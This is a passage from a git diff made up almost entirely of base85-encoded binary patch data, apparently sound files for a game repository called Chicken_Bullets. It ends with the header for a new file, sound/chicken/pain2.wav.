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 literal 0 HcmV?d00001 diff --git a/Repos/Chicken_Bullets-master/sound/chicken/pain2.wav b/Repos/Chicken_Bullets-master/sound/chicken/pain2.wav new file mode 100644 index 0000000000000000000000000000000000000000..f85c08fc142ef2cbbc16870cbf7df24387f97491 GIT binary patch literal 33790 